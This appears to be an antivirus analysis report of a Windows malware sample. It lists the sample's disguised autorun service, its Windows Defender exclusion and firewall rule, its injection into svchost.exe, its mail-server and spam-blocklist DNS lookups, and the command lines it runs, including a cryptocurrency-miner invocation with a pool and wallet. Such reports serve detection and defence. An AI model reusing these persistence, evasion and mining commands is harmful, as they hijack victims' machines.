Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\wcfrchmm] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wcfrchmm] 'ImagePath' = '%WINDIR%\SysWOW64\wcfrchmm\sedrcmuo.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\wcfrchmm] 'ImagePath' = '%WINDIR%\SysWOW64\wcfrchmm\sedrcmuo.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wcfrchmm' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\sedrcmuo.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\sedrcmuo.exe to %WINDIR%\syswow64\wcfrchmm\sedrcmuo.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK nu###ta.com.bd
- DNS ASK mx#########st-2.prod.hydra.sophos.com
- DNS ASK rt####hitects.com
- DNS ASK re###.rosan.com.ua
- DNS ASK ro###.com.ua
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ms##.hinet.net
- DNS ASK ro####joias.com.br
- DNS ASK go###e.co.uk
- DNS ASK ma##.#osanacid.com
- DNS ASK ro###acid.com
- DNS ASK um####.hinet.net
- DNS ASK um###.hinet.net
- DNS ASK ra###la.info
- DNS ASK google.com
- DNS ASK nn##.onyx.net
- DNS ASK ma##.rsmu.ru
- DNS ASK rs#u.ru
- DNS ASK mx#.pstu.ru
- DNS ASK ps##.ac.ru
- DNS ASK ro######relliturismo.com.br
- DNS ASK ho##.#an-elio.com
- DNS ASK rs###c.com.br
- DNS ASK ce##.#culine.net
- DNS ASK ro###usic.cz
- DNS ASK ma##.#ovaradio.net
- DNS ASK no###adio.net
- DNS ASK mx.##nafos.com
- DNS ASK ha##net.net
- DNS ASK ma##.#uvista.com.bd
- DNS ASK eu#######nbound-1.mimecast.com
- DNS ASK gm##l.com
- DNS ASK li##.com.au
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ao#.com
- DNS ASK iw####.cniteam.com
- DNS ASK br##ht.net
- DNS ASK pk#####.#sg.pkvw.co.charter.net
- DNS ASK ro###unner.com
- DNS ASK wc######.as.weichuan.com.tw
- DNS ASK go###e.com.ua
- DNS ASK sm##.#omecall.co.uk
- DNS ASK we###uan.com.tw
- DNS ASK rt###r.com.br
- DNS ASK sm###in.sfr.fr
- DNS ASK ne#f.fr
- DNS ASK ba###inday.net
- DNS ASK mx##.mail.com
- DNS ASK my##lf.com
- DNS ASK ro##nd.net
- DNS ASK ho##ail.fr
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK au##an.it
- DNS ASK ro###dic.com
- DNS ASK ro##nder.nu
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK li#e.nl
- DNS ASK ro###decor.com
- DNS ASK ro##nda.org
- DNS ASK ap#.###.#rotection.outlook.com
- DNS ASK ro#####dnicholson.co.uk
- DNS ASK bo###italia.it
- DNS ASK po####ort.com.br
- DNS ASK st##a.sk
- DNS ASK co##ag.sk
- DNS ASK cb#.##rusfree.cz
- DNS ASK ce##rum.sk
- DNS ASK sm####n.libero.it
- DNS ASK li##ro.it
- DNS ASK ps########s.com.mx3.spamsmack.com
- DNS ASK ps###rvices.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.co.uk
- DNS ASK ps####ftball.com
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK ns##.edu
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK mx#.#eznam.cz
- DNS ASK se##am.cz
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK aspmx.l.google.com
- DNS ASK qu#####uryschool.org
- DNS ASK mi####.bittubeapp.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ya##o.com
- DNS ASK ma##.vuzv.sk
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK vu#v.sk
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mx#.##bygroup.sk
- DNS ASK sm##.#vt.stuba.sk
- DNS ASK ps##s.co.jp
- DNS ASK co##te.net
- DNS ASK ro#####dcoppen.co.uk
- DNS ASK ro####anchez.com
- DNS ASK za########bound-2.mimecast.co.za
- DNS ASK qu####casino.co.za
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK li##.com
- DNS ASK ro###ruiz.com
- DNS ASK i-####.gzuni.com
- DNS ASK gz##i.com
- DNS ASK wi#######1.hostmanagement.net
- DNS ASK qu###scards.com
- DNS ASK ti##ali.it
- DNS ASK gw####.fortimail.com
- DNS ASK ec####.eculine.net
- DNS ASK 3m##sto.net
- DNS ASK qu####buxton.co.uk
- DNS ASK ma##.#seglobal.com
- DNS ASK as###obal.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti###linet.it
- DNS ASK mx#.##banciuniv.edu
- DNS ASK sa###ciuniv.edu
- DNS ASK mx.###tsubasa.com
- DNS ASK ps###ubasa.com
- DNS ASK ma##.tecdev.it
- DNS ASK pe###rmer.it
- DNS ASK mx.##nanet.com
- DNS ASK gw##.sina.net
- DNS ASK mx#.##narobase.net
- DNS ASK mx.####ail.nifcloud.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wcfrchmm\sedrcmuo.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wcfrchmm\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\sedrcmuo.exe" %WINDIR%\SysWOW64\wcfrchmm\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create wcfrchmm binPath= "%WINDIR%\SysWOW64\wcfrchmm\sedrcmuo.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description wcfrchmm "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start wcfrchmm' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wcfrchmm\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\sedrcmuo.exe" %WINDIR%\SysWOW64\wcfrchmm\
- '%WINDIR%\syswow64\sc.exe' create wcfrchmm binPath= "%WINDIR%\SysWOW64\wcfrchmm\sedrcmuo.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description wcfrchmm "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start wcfrchmm
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k
